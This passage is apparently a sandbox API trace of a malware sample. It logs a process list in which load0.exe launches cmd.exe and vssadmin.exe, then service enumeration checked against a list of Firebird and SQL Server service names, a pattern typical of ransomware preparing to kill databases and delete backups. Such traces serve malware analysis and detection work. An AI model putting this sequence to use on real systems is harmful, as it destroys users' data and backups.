[0258.083] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0258.084] lstrlenW (lpString="Memory Compression") returned 18 [0258.084] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0258.085] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0258.085] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0258.086] lstrlenW (lpString="sihost.exe") returned 10 [0258.086] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.087] lstrlenW (lpString="svchost.exe") returned 11 [0258.087] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0258.088] lstrlenW (lpString="taskhostw.exe") returned 13 [0258.088] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0258.089] lstrlenW (lpString="msoia.exe") returned 9 [0258.089] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.090] lstrlenW (lpString="explorer.exe") returned 12 [0258.090] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0258.091] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0258.091] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0258.091] lstrlenW (lpString="SearchUI.exe") returned 12 [0258.092] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0258.092] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0258.092] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0258.094] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0258.094] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0258.095] lstrlenW (lpString="load0.exe") returned 9 [0258.095] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0258.096] lstrlenW (lpString="cmd.exe") returned 7 [0258.096] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0258.097] lstrlenW (lpString="conhost.exe") returned 11 [0258.097] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x3c4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0258.098] lstrlenW (lpString="consent.exe") returned 11 [0258.098] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0258.099] lstrlenW (lpString="vssadmin.exe") returned 12 [0258.099] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0258.100] CloseHandle (hObject=0x1234) returned 1 [0258.100] Sleep (dwMilliseconds=0x1f4) [0258.665] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64708 [0258.668] EnumServicesStatusExW (in: hSCManager=0x3f64708, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0258.671] GetLastError () returned 0xea [0258.671] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x4032048 [0258.671] EnumServicesStatusExW (in: hSCManager=0x3f64708, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4032048, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4032048, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0258.680] CloseServiceHandle (hSCObject=0x3f64708) returned 1 [0258.681] lstrlenW (lpString="Appinfo") returned 7 [0258.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0258.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0258.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0258.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0258.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0258.681] lstrlenW (lpString="AppXSvc") returned 7 [0258.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0258.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0258.681] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0258.681] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0258.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0258.681] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0258.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0258.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0258.681] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0258.681] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0258.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0258.681] lstrlenW (lpString="Audiosrv") returned 8 [0258.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0258.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0258.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0258.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0258.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0258.682] lstrlenW (lpString="BFE") returned 3 [0258.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0258.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0258.682] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0258.682] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0258.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0258.682] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0258.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0258.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0258.682] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0258.682] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0258.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0258.682] lstrlenW (lpString="CDPSvc") returned 6 [0258.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0258.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0258.682] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0258.682] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0258.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0258.682] lstrlenW (lpString="ClickToRunSvc") returned 13 [0258.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0258.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0258.682] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0258.682] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0258.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0258.682] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0258.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0258.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0258.682] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0258.683] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0258.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0258.683] lstrlenW (lpString="CryptSvc") returned 8 [0258.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0258.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0258.683] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0258.683] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0258.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0258.683] lstrlenW (lpString="DcomLaunch") returned 10 [0258.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0258.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0258.683] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0258.683] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0258.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0258.683] lstrlenW (lpString="DeviceAssociationService") returned 24 [0258.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0258.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0258.683] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0258.683] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0258.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0258.683] lstrlenW (lpString="Dhcp") returned 4 [0258.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0258.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0258.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0258.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0258.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0258.683] lstrlenW (lpString="Dnscache") returned 8 [0258.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0258.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0258.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0258.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0258.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0258.684] lstrlenW (lpString="DPS") returned 3 [0258.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0258.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0258.684] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0258.684] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0258.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0258.684] lstrlenW (lpString="DusmSvc") returned 7 [0258.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0258.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0258.684] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0258.684] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0258.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0258.684] lstrlenW (lpString="EventLog") returned 8 [0258.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0258.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0258.684] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0258.684] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0258.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0258.684] lstrlenW (lpString="EventSystem") returned 11 [0258.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0258.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0258.684] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0258.684] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0258.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0258.685] lstrlenW (lpString="FontCache") returned 9 [0258.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0258.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0258.685] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0258.685] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0258.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0258.685] lstrlenW (lpString="gpsvc") returned 5 [0258.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0258.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0258.685] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0258.685] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0258.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0258.685] lstrlenW (lpString="iphlpsvc") returned 8 [0258.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0258.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0258.685] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0258.685] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0258.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0258.685] lstrlenW (lpString="KeyIso") returned 6 [0258.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0258.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0258.685] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0258.685] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0258.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0258.685] lstrlenW (lpString="LanmanServer") returned 12 [0258.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0258.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0258.686] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0258.686] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0258.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0258.686] lstrlenW (lpString="LanmanWorkstation") returned 17 [0258.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0258.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0258.686] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0258.686] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0258.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0258.686] lstrlenW (lpString="lfsvc") returned 5 [0258.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0258.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0258.686] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0258.686] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0258.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0258.809] lstrlenW (lpString="lmhosts") returned 7 [0258.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0258.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0258.809] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0258.809] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0258.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0258.809] lstrlenW (lpString="LSM") returned 3 [0258.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0258.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0258.809] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0258.809] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0258.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0258.809] lstrlenW (lpString="MpsSvc") returned 6 [0258.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0258.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0258.809] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0258.809] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0258.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0258.810] lstrlenW (lpString="NcbService") returned 10 [0258.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0258.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0258.810] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0258.810] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0258.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0258.810] lstrlenW (lpString="netprofm") returned 8 [0258.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0258.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0258.810] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0258.810] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0258.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0258.810] lstrlenW (lpString="NgcSvc") returned 6 [0258.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0258.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0258.810] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0258.810] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0258.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0258.810] lstrlenW (lpString="NlaSvc") returned 6 [0258.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0258.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0258.810] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0258.810] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0258.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0258.811] lstrlenW (lpString="nsi") returned 3 [0258.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0258.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0258.811] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0258.811] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0258.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0258.811] lstrlenW (lpString="PcaSvc") returned 6 [0258.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0258.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0258.811] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0258.811] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0258.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0258.811] lstrlenW (lpString="PlugPlay") returned 8 [0258.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0258.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0258.811] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0258.811] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0258.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0258.811] lstrlenW (lpString="Power") returned 5 [0258.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0258.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0258.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0258.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0258.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0258.812] lstrlenW (lpString="ProfSvc") returned 7 [0258.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0258.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0258.812] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0258.812] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0258.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0258.812] lstrlenW (lpString="RpcEptMapper") returned 12 [0258.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0258.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0258.812] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0258.812] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0258.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0258.812] lstrlenW (lpString="RpcSs") returned 5 [0258.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0258.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0258.813] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0258.813] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0258.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0258.813] lstrlenW (lpString="SamSs") returned 5 [0258.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0258.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0258.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0258.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0258.814] lstrcmpiW 